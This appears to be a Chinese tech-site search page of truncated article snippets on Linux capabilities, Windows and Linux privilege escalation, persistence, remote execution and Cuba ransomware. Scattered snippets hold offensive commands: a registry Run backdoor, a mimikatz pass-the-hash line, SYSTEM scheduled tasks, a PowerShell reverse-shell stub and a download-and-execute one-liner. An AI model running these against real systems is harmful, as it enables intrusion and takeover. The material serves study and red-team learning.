首页
学习
活动
专区
圈层
工具
发布

让wireshark以非root权限运行背后的linux Capabilities(简介)

root帐户用来管理系统、安装软件、管理帐户、运行某些服务、安装/卸载文件系统、管理用户、安装软件等。另外,普通用户的很多操作也需要root权限,这通过setuid实现。...某些程序可能有安全漏洞,而如果程序不是以root的权限运行,其存在的漏洞就不可能对系统造成什么威胁。 从2.1版开始,内核开发人员在Linux内核中加入了能力(capability)的概念。...UNIX系统中的SUID问题就是由这种信任状模型造成的。例如,一个普通用户需要使用ping命令。这是一个SUID命令,会以root的权限运行。...cap_inheritable中集成的能力集 cap_forced表示运行文件时必须拥有才能完成其服务的能力集 cap_effective则表示文件开始运行时可以使用的能力。...在linux中,root权限被分割成一下29中能力: CAP_CHOWN:修改文件属主的权限 CAP_DAC_OVERRIDE:忽略文件的DAC访问限制 CAP_DAC_READ_SEARCH:忽略文件读及目录搜索的

2.7K21
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    红队笔记 - 提权&权限维持

    提权 Windows 通常会检查我的权限 ( whoami /all) 和文件系统(tree /f /a来自C:\Users目录)以获取快速获胜或有趣的文件(尤其是用户主文件夹和/或 Web...如果所有其他方法都失败了,我会开始寻找操作系统级别的漏洞利用,尤其是在较旧的系统上。...如果这导致我们可以运行某些命令(无需密码或已知密码)之后,开始查看文件系统(再次 - 主目录和有趣的目录,如/var/www/html)以查找多汁文件或包含凭据或线索的文件。...特别注意以 root 用户 ( ps auxww | grep root)运行的服务- 在许多情况下,这些可能是您的 root 路径。例如,MySQL 是否以 root 身份运行?...运行raptor_udf2。 哪些服务只在本地监听? 文件或文件夹的权限是否配置错误? 是否有任何定时任务或计划任务?谁来执行?

    1.8K40

    Windows 提权

    在Windows XP以前,System帐户与管理员组对系统文件都拥有着完全访问的权限,这就意味着以这两个身份运行的程序可以任意更改系统,降低了系统安全性,自从Windows Vista开始出现了TrustedInstaller...以System权限运行程序不一定拥有TrustedInstaller的权限,只有通过了Server Control Manager(系统启动控制器)的验证后才能获得TrustedInstaller的权限...所以如果一个权限比较低的用户对词类系统服务调用的可执行文件有可写的权限,那么就可以被利用。...如果一个被适合命名的可执行文件(木马)被上传到受影响的目录中,服务一旦重启,该程序就会以system权限运行。...如果在C盘上传一个名为Program.exe的文件,当Service.exe重启的时候,在大多数情况下Program.exe就会以System权限运行。

    2.8K91

    使用adb logcat命令显示Android设备上的Log日志

    1、清除日志缓存.bat 2、获取日志文件.bat 3、抓取Android整个日志 .bat 4、获取系统最前端窗口信息.bat 4、获取全量日志.bat 共勉 :多做有意义的是事情。...下面是我个人在开发过程中常用的几个关于日志的脚本, 双击即可运行,非常方便。...3、抓取Android整个日志 .bat 获取Android整个日志文件,这个是需要root权限的 adb pull /data/log/android_logs/ pause 4、获取系统最前端窗口信息...这个适用于系统开发,也是需要root权限的, 因为有些文件目录普通用户是获取不到的 @echo off ::V1.0 2021-1-18 ::各个系统不同,可以根据需求添加或者删除不必要的目录下的数据获取...:%Folder% mkdir %Folder% ::获取root权限,下面pull一些隐私目录的数据需要root权限 adb remount adb root ::创建文件夹 mkdir %Folder

    26.7K10

    文件目录的权限和归属 访问权限 读取:允许查看文件内容、显示目录列表 写入:允许修改文件内容,允许在目录中新建、移动、删除文件或子目录 可执行:允许运行程序、切换目录 归属(所有权) 属主:拥有改

    文件/目录的权限和归属  访问权限 读取:允许查看文件内容、显示目录列表 写入:允许修改文件内容,允许在目录中新建、移动、删除文件或子目录 可执行:允许运行程序、切换目录 归属(所有权) 属主:拥有改文件或目录的用户账号...属组:拥有该文件或目录的组账号,组中用户 查看文件/目录的权限和归属 文件类型 | 文件所有者 | 文件所属组 | 其他用户|        shell chmod 修改文件或目录的权限...nnn 文件或目录 特殊权限 文件ACL权限 ACL是Access Control List的缩写,主要的目的是在提供传统的ower,group,others的read,write,execute权限之外的细部权限决定...列出所有  -c  查看软件的配置文件  -l 相关文件  -i软件包信 辅助选项 -v 显示进度 -h 以#显示进度 yum:以rpm为基础,分析依赖环境,并且通过python实现软件安装 dnf :...yum v3  python3 软件仓库:软件  软件包数据库  可用性  多个仓库 /etc/yum.repos.d/  下以.repos结尾的文件,都是仓库配置文件 [repo_id]  写仓库id

    2.1K100

    持续控制技术和策略(A View of Persistence)

    当遇到一些操作不行的时候就要考虑权限问题,uac策略等! 在这篇文章中,我会介绍一些基本的持久性策略和技术!通常,触发C2通道的持久性机制存在于以下级别之一: 中等强制级别,在标准用户的上下文中。...name Backdoor data C:\users\CreaTe\AppData\Local\Temp\backdoor.exe 启动: 在用户启动文件夹中创建批处理脚本 gc--Get-Content...@ echo off start /d "C:\Windows\System32\" calc.exe pause 难受不会写bat bat的作用应该是每次开机都启动bat触发backdoor.exe...计划任务: 以System运行 每天上午9点 PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows...sekurlsa::pth /user:Administrator /domain:GOD /ntlm:ccef208c6485269c20db2cad21734fe7 (/run:运行的程序,默认 cmd

    64710

    C# 创建安装Windows服务程序(干货)

    后台执行:Windows服务在后台运行,不会干扰用户的工作,也无需用户登录即可持续执行任务。 系统级别权限:Windows服务可以在系统级别运行,具有更高的权限,可以访问系统资源和执行敏感操作。...以管理员身份运行cmd命令,然后安装服务。...解决:权限不够,打开cmd时记得【以管理员身份】打开。...正确执行方式: 4.2、启动服务 我们可以创建一个文件【卸载服务.bat】输入以下内容: REM Install net start 服务名 pause 注意:执行这个命令需要【以管理员身份】运行,不然会报这个错误...4.3、停止服务 我们可以创建一个文件【卸载服务.bat】输入以下内容: REM Install net stop 服务名 pause 注意:执行这个命令需要【以管理员身份】运行,不然会报这个错误:

    2.4K40

    常见的远程执行命令方式整理

    工具说明 需要远程系统启动 Task Scheduler 服务 at 会以 system 权限在远程系统上执行命令 schtasks 常用命令 在远程系统建立计划任务(计划运行时会以 system...@#123QWE" /tn test /sc onstart /tr c:\programdata\test.bat /ru system /f 在远程系统建立计划任务(计划运行时会以管理员权限在远程系统上执行单条命令...@#123QWE c:\programdata\test.bat 拷贝文件到远程机器并以交互方式运行,运行结束后会删除 psexec \\192.168.17.138 -c C:\Users\test\...,以管理员权限运行远程进程 -d 不等待程序执行完就返回,请只对非交互式应用程序使用此选项 \ip 可以替换成 @ip.txt (存放多个 ip 的文本),可以批量执行命令 工具说明 需要远程系统开启...sc 常用命令 建立 ipc 连接(参见net use + at)后上传等待运行的 bat 脚本到目标系统上,创建服务(开启服务时会以system 权限在远程系统上执行 bat 脚本) sc \\192.168.17.138

    7.8K10

    您想要的网盘系统:青阳网络文件传输系统kiftd部署和使用教程

    2、主流商业网盘特有的高级功能甚至需要收费的功能 文件夹访问级别控制、视频在线影院、Word/PPT/TXT/PDF文档在线预览、音乐在线欣赏、图片库在线预览...kiftd均一一具备,每一份kiftd...3、创建用户&配置权限 首先找到创建用户和配置权限的系统配置文件路径:D:\kiftd\conf\account.properties,首先看下系统默认的用户和权限设置。...疑难解惑: win10中通过如上方法安装java测试java -version也是正常的,并且kiftd系统以.jar结尾的执行程序打开方式为java程序了,但为什么就是无法打开?...原理:默认java是不带-jar的,修改注册表java.exe打开命令行运行路径加上-jar参数就行,然后就可以直接打开jar文件了。 2、通过.bat批处理文件打开。...("WScript.Shell") ws.Run "D:\kiftd\kiftd.bat",0 这样直接运行kiftd.vbs就直接打开kiftd系统了。

    7.9K20

    webman实用性React前后端分离管理系统框架SuperAdminx

    修改根目录下.env里面数据库配置 启动项目 windows用户:双击项目根目录windows.bat或者在根目录运行php windows.php启动 linux用户:调试方式运行php start.php...前端安装 进行根目录/public/admin_react/,安装前端依赖 npm install 运行前端,即可访问http://localhost:5200/admin/,登录的帐号密码 npm...run dev 预览 后端功能 权限管理:可基于接口级别权限 代码生成:可生成前后端curd的代码 参数设置:可自定义每个设置的表单字段,并同步到权限里面,可自定义哪些角色拥有哪些参数设置 后续会基于插件模式发布其它功能...前端实现的功能 布局:内置多种布局方案 权限管理:基于按钮级别的权限 扩展form字段:ProComponents已有高达19种字段类型算非常丰富了,我们在扩展了几种字段:省选择、省市选择、省市区选择、...经纬度选择、富文本编辑器、多图/单图上传、多图或视频上传、多文件/单文件上传等 扩展预览字段:ProComponents的表格功能也非常Nice,我们也扩展了一些字段预览的组件:长文本预览、图片/视频预览

    50010

    RabbitMQ 安装与界面管理

    RabbitMQ是轻量级的,易于部署在premises和云中。它支持多种消息传递协议。RabbitMQ可以以分布式和联合的方式部署,以满足高规模、高可用性的需求。...RabbitMQ运行在许多操作系统和云环境上,并为最流行的语言提供了广泛的开发工具。...安装准备 下载Rabbit 下载地址:https://www.rabbitmq.com/download.html 这里以Linux系统进行举例,我使用的是CentOS7的镜像,可以选择对应版本 下载...rabbitmq 文件夹下 [root@localhost rabbitmq]# 使用X-ftp 将下载的文件移动到该文件下 安装Erlang rpm -Uvh erlang-23.3.1-1.el7...set_permissions -p /用户名 ".*" "." ".*" #为用户添加资源权限 RabbitMQ用户级别 1.nono 不能访问 management plugin 2.management

    2K20

    嵌入式Linux中自己写的程序如何开机自启动?

    1.3 直接在/etc/rc.d/rc.local脚本中添加命令 在Linux系统中,有一个类似Windows系统中autoexec.bat的文件,它就是/etc/rc.d/rc.local,系统开机后自动运行用户的应用程序或启动系统服务的命令保存在开发板根文件系统的这个文件中...2 运行级别 2.1 Linux系统有7个运行级别(runlevel) 运行级别0:系统停机状态,系统默认运行级别不能设为0,否则不能正常启动 运行级别1:单用户工作状态,root权限,用于系统维护,...在/etc/rc.d下有7个名为rcN.d的目录,对应系统的7个运行级别 rcN.d目录下都是一些符号链接文件,这些链接文件都指向init.d目录下的service脚本文件,命名规则为K+nn+服务名或...系统会根据指定的运行级别进入对应的rcN.d目录,并按照文件名顺序检索目录下的链接文件 对于以K开头的文件,系统将终止对应的服务 对于以S开头的文件,系统将启动对应的服务 查看运行级别用:runlevel...3、系统会运行init程序,该进程会读取/etc/inittab配置文件,决定运行级别,运行/etc/rc.d/rc.sysinit脚本对系统进行初始化,该脚本会设置系统时间,主机名,开启卷管理,以读写的方式重挂

    1.9K10

    Windows Java Usage Tracker本地提权漏洞分析

    如果JVM以提升后的权限运行,那么JVM就能够在系统的任何地方创建该文件,文件的扩展名也不受控制(也就是说,可以创建名为global_javatracker.bat的日志文件)。...如果运行global_javatracker.bat,那么就会导致执行ping172.0.1.1> = null命令。但是,由于带有双引号,所以该命令无法识别。...使用空配置从com.oracle.usagetracker.quote生成的跟踪日志: ? 运行global_javatracker.bat,将会执行命令ping 172.0.1.1> = null。...实际上,该文件是由Tomcat服务创建的,默认情况下会由System运行。 目前,Tomcat服务已经由System运行,因此就可以在任意位置创建恶意文件global_javatracker.bat。...具有低权限的用户,可以创建恶意配置文件usagetracker.properties。由于Tomcat服务以“System”的权限运行,因此它可以在系统的任何位置创建批处理文件。

    1.4K20

    从加勒比海岸到用户设备:Cuba勒索软件详析

    ,然后以相同的顺序执行这些文件,并连接到相同的地址。...黑客很喜欢这些易受攻击的驱动程序,因为它们都在内核模式下运行,具有高级别的系统访问权限。此外,拥有数字签名的合法驱动程序不会引起安全系统的任何危险信号,从而帮助攻击者在更长的时间内不被发现。...Sys:Avast的合法反rootkit驱动程序,存在两个漏洞:CVE-2022-26522和CVE-2022-26523,允许具有有限权限的用户在内核级别运行代码。...av.bat批处理脚本:帮助内核服务运行Avast驱动程序和执行Burntcigar的阶段。...BAT文件然后在相同的sc.exe实用程序的帮助下启动服务,并运行连接到易受攻击的驱动程序的KK.exe。

    59020

    全平台系统提权辅助工具 PEASS-ng

    项目地址:https://github.com/carlospolop/PEASS-ng PEAS-ng 工具搜索可能的本地权限提升路径,可以利用这些路径并将它们以漂亮的颜色打印输出,可以方便轻松识别错误配置...事件 电源开/关的事件 附加(慢)检查 LOLBAS 搜索 在默认WSL分发中运行linpea .sh WinPEAS.bat 使用 WinPEAS.bat 用于搜索在 Windows...WSUS 设置 进程列表 正在执行的二进制文件的有趣文件权限 在启动时运行的二进制文件的有趣文件权限 始终安装提升?...搜索已知文件以在其中包含密码(可能需要几分钟) 如果很长,搜索里面有密码的文件 如果很长,搜索注册表里面有密码 日期和时间 环境变量 已安装的软件 运行的进程 当前Shares 网络接口 使用的端口 防火墙...的配置(95%肯定) 红色(RED): 识别可能导致 PE 的可疑配置 可能的可利用内核 kernel 版本 易受攻击的 sudo 版本 识别以 root 身份运行的进程

    3.8K60

    Windows服务器防黑技巧

    (4).假如觉得在GUI下面太麻烦的话,也可以用系统命令的CACLS.EXE来对这些.exe文件的Acls进行编辑与修改,或者说将他写成一个.bat批处理 文件来执行以及对这些命令进行修改。...6、进行注册表的修改禁用命令解释器: (假如您觉得用⑤的方法太烦琐的话,那么您不防试试下面一劳永逸的办法来禁止CMD的运行,通过修改注册表,可以禁止用户使用命令解释器 (CMD.exe)和运行批处理文件...(.bat文件)。...权限运行的系统服务进行降级处理。...(诸如:将Serv-U、Imail、IIS、php、Mssql、Mysql等一系列以 System权限运行的服务或者应用程序换成其它administrators成员甚至users权限运行,这样就会安全得多了

    5.2K30

    Windows提权的基础学习

    COM服务器 当用户具有SeImpersonatePrivilege 特权,可以调⽤ CreateProcessWithTokenW 以某个Token的权限启动新进程。...,我们直接通过执行test_clsid.bat来测试 之后下面会有一个result.log文件,这里就是测试之后的日志,我们打开之后找后面事system权限的 然后复制前面的clsid进行测试,直到可用为止...cmd框,但是这里仅限于可以远程3389链接的主机,如果我们是纯粹的命令行要怎么办呢,这里我们就需要写一个bat脚本来运行一个nc,去连接到黑客机器来获取权限。...这里我们首先建一个rev.ps1文件,这个文件是powershell的运行文件 function Invoke-PowerShellTcp { [CmdletBinding(DefaultParameterSetName...然后我们需要新建一个rev.bat文件来运行这个powershell文件 Powershell -executionpolicy unrestricted "IEX(New-Object Net.WebClient

    65710
    领券